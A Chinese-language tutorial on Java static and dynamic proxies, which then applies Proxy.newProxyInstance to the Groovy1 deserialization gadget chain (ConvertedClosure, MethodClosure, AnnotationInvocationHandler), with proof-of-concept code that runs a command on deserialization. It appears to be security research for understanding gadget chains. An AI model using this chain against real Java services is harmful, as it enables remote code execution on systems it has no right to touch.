前言:
静态代理:
- 静态代理是在编译时就已经确定了代理类的具体实现。
- 代理类需要实现与目标类相同的接口,并且持有目标对象的引用。
- 在代理类中实现对目标方法的增强或修改。
- 静态代理的优点是实现简单,可以很好地控制目标对象的行为。缺点是每个目标对象都需要创建一个代理类,造成代码冗余。
动态代理:
- 动态代理是在运行时动态生成代理类的实现。
- 动态代理不需要事先知道目标类的具体实现,而是通过反射机制在运行时动态生成代理类。
- 动态代理需要实现
InvocationHandler
接口,在invoke()
方法中实现对目标方法的增强或修改。 - 动态代理的优点是实现灵活,可以针对不同的目标对象生成代理类,减少了代码冗余。缺点是实现相对复杂,需要一定的反射知识。
上面是针对静态代理和动态代理的基本概念,下面我们分别进行讲解
静态代理:
静态代理流程也很简单,首先要创建接口,然后实现接口,最后调用接口实现功能即可,这里编写了测试代码,首先创建接口:
package org.example.ProxyStatic;
interface Subject {
public void run();
}
然后编写代码实现接口run:
package org.example.ProxyStatic;
public class StaticRealSubject implements Subject {
@Override
public void run() {
System.out.println("RealSubject run");
}
}
编写代码实现接口run,内部嵌套实现上面的run接口:
package org.example.ProxyStatic;
public class StaticProxy implements Subject {
private StaticRealSubject staticRealSubject;
public StaticProxy(StaticRealSubject staticRealSubject) {
this.staticRealSubject = staticRealSubject;
}
@Override
public void run() {
System.out.println("myProxy doing something before...");
staticRealSubject.run();
System.out.println("myProxy doing something after...");
}
}
调用函数:
public void mymainStatic(){
StaticRealSubject staticRealSubject = new StaticRealSubject();
StaticProxy proxy = new StaticProxy(staticRealSubject);
proxy.run();
}
执行完成后会依次输出内容:
可以看到静态代理本质上还是需要实例化对象后执行。
动态代理:
动态代理主要通过InvocationHandler(接口)和Proxy(类),下面我们先对两个进行介绍:
InvocationHandler:
InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法,每一个动态代理类的调用处理程序都必须实现InvocationHandler接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler接口类的invoke方法来调用
Proxy(类):
Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但是我们最常用的是newProxyInstance方法。
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
这个方法的作用就是创建一个代理类对象,它接收三个参数,我们来看下几个参数的含义:
- ClassLoader :一个Classloader对象,定义了由哪个classloader对象来加载生成的代理类
- Class<?>[]:一个接口对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,相当于代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。
- InvocationHandler :一个InvocationHandler对象,表示的是当动态代理对象(需要执行代理方法的类)调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由这个InvocationHandler对象调用。
测试:
为了更好的理解,下面我们进行实践:
首先创建接口:
package org.example.ProxyDynamic;
public interface Subject {
void doSomething();
void doRun();
}
然后实现接口的方法:
package org.example.ProxyDynamic;
public class DynamicRealSubject implements Subject{
@Override
public void doSomething() {
System.out.println("RealSubject doing something...");
}
@Override
public void doRun() {
System.out.println("RealSubject doing doRun...");
}
}
最后通过关键字implements实现InvocationHandler的invoke接口:
package org.example.ProxyDynamic;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class DynamicProxy implements InvocationHandler {
private Object target;
public DynamicProxy(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Proxy doing something before...");
Object result = method.invoke(this.target, args);
System.out.println("Proxy doing something after...");
return result;
}
}
对应的调用方法如下:
public void myMainDynamic(){
// 使用
DynamicRealSubject dynamicRealSubject = new DynamicRealSubject();
Subject proxy = (Subject) Proxy.newProxyInstance(
DynamicRealSubject.class.getClassLoader(),
new Class[]{Subject.class},
new DynamicProxy(dynamicRealSubject)
);
proxy.doRun();
}
上述代码调用Proxy.newProxyInstance实现了动态代理,其中第一个参数无需太多关注,第二个参数为一个接口对象数组,对应的就是返回的方法中提供了哪些接口方法可以被调用,最后一个参数就是我们需要去调用的动态方法。
整体流程就是我们需要第二个参数返回一个对象数组,我们这里为new Class[]{Subject.class},则我们可以调用Subject的接口doRun,然后会去执行DynamicProxy类下的invoke来实现具体的逻辑。
执行结果如下:
下面我们针对Proxy.newProxyInstance做个测试,测试代码如下:
public void TestProxy(){
ClassLoader classLoader = Map.class.getClassLoader();
Class classmy = Map.class;
StaticRealSubject staticRealSubject = new StaticRealSubject();
DynamicRealSubject dynamicRealSubject = new DynamicRealSubject();
Class<?>[] allIfaces = new Class[]{Subject.class};
Subject proxy = (Subject) Proxy.newProxyInstance(
BeanComparator.class.getClassLoader(),
allIfaces,
new DynamicProxy(dynamicRealSubject)
);
proxy.doRun();
System.out.printf("===================\n");
HashMap hashMap = new HashMap();
hashMap.put("aa","1111");
allIfaces = new Class[]{Map.class};
Map proxy2 = (Map) Proxy.newProxyInstance(
BeanComparator.class.getClassLoader(),
allIfaces,
new DynamicProxy(hashMap)
);
HashMap aa = (HashMap) proxy2.put("cc","222");
}
首先我们修改了第一个参数为BeanComparator.class.getClassLoader(),看是否会有影响,第二个我们希望实现动态代理Map看能否实现:
首先看第一处的结果:
可以看到可以正常返回,结合代码分析,此处只要是Classloader即可,只要其为接口即可,并不会对执行有影响。
第二个我们执行后可以看到,成功通过动态代理调用了Map的put方法:
为什么要研究这些,因为我们可以利用动态代理的这些特性来构建我们的攻击链
利用:
这里我们针对org.codehaus.groovy:groovy:2.3.9的Groovy1进行讲解,首先编写测试代码如下:
public static void TestCreateProxy() throws Exception{
try{
//class org.codehaus.groovy.runtime.MethodClosure
//java.lang.Runtime
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc", "execute"), "entrySet");
Class<?>[] interfaces = Map.class.getInterfaces();
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, interfaces.length+1 );
allIfaces[ 0 ] = Map.class;
if ( interfaces.length > 0 ) {
System.arraycopy(interfaces, 0, allIfaces, 1, interfaces.length);
}
Object object = Proxy.newProxyInstance(Main.class.getClassLoader(), allIfaces, closure);
final Map map = Map.class.cast(object);
//Class class1 = sun.reflect.annotation.AnnotationInvocationHandler
final InvocationHandler handler = (InvocationHandler) ysoserial_reflect.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
ByteArrayOutputStream buf = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(buf);
objOut.writeObject(handler);
ByteArrayInputStream btin = new ByteArrayInputStream(buf.toByteArray());
ObjectInputStream objIn = new ObjectInputStream(btin);
objIn.readObject();
}catch (Exception e) {
e.printStackTrace();
System.out.print(e);
}
}
其具体的调用链如下:
大概分析下具体流程:
(InvocationHandler) ysoserial_reflect.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
上述代码执行执行完成后会设置this.memberValues,即:
this.type=Override.class this.memberValues = map
反序列化的时候执行sun.reflect.annotation.AnnotationInvocationHandler的readObject方法:
这里需要注意虽然我们的 this.memberValues是map类型,但是代码中可以看到为代理的closure方法:
Object object = Proxy.newProxyInstance(Object.class.getClassLoader(), allIfaces, closure); final Map map = Map.class.cast(object);
所以当执行到AnnotationInvocationHandler的如下代码的时候就会进入到ConvertedClosure的invokeCustom方法中,而不是执行map.entrySet
for (Map.Entry<String, Object> memberValue : streamVals.entrySet())
当我们执行 streamVals.entrySet(),进入到如下代码:
这里就是为什么我们需要设置methodName为 entrySet,而不是其他,当执行streamVals.*的时候都会到invokeCustom方法中执行,但是为了调用call,而不是前面的NULL,我们必须使this.methodName和method.getName相同,因此必须设置为entrySet
最后就是通过调用Groovy执行命令,类似如下代码可以弹出计算器:
MethodClosure mc = new MethodClosure("calc", "execute");
mc.call();
利用this.getDelegate()).call(args)可以执行mc.call(null),进而成功利用Groovy执行命令
总结:
通过动态代理Proxy.newProxyInstance我们可以构建很多的攻击链,需要注意的就是对应的参数,参数二为要返回的接口类型,参数三为我们动态代理的类,需要继承InvocationHandler
当代码动态加载接口的时候会自动进入代理对象的invoke方法执行,所以无需关注其动态代理调用的是什么方法,除非进入invoke方法后有验证,否则只要调用动态类,就会进入invoke方法执行逻辑。
因此我们在构建攻击链的时候需要注意我们需要构建的动态代理是否会在readObject中被调用,调用后invoke方法中是否会触发我们的恶意代码,如果满足上述条件就是一个合格的攻击链。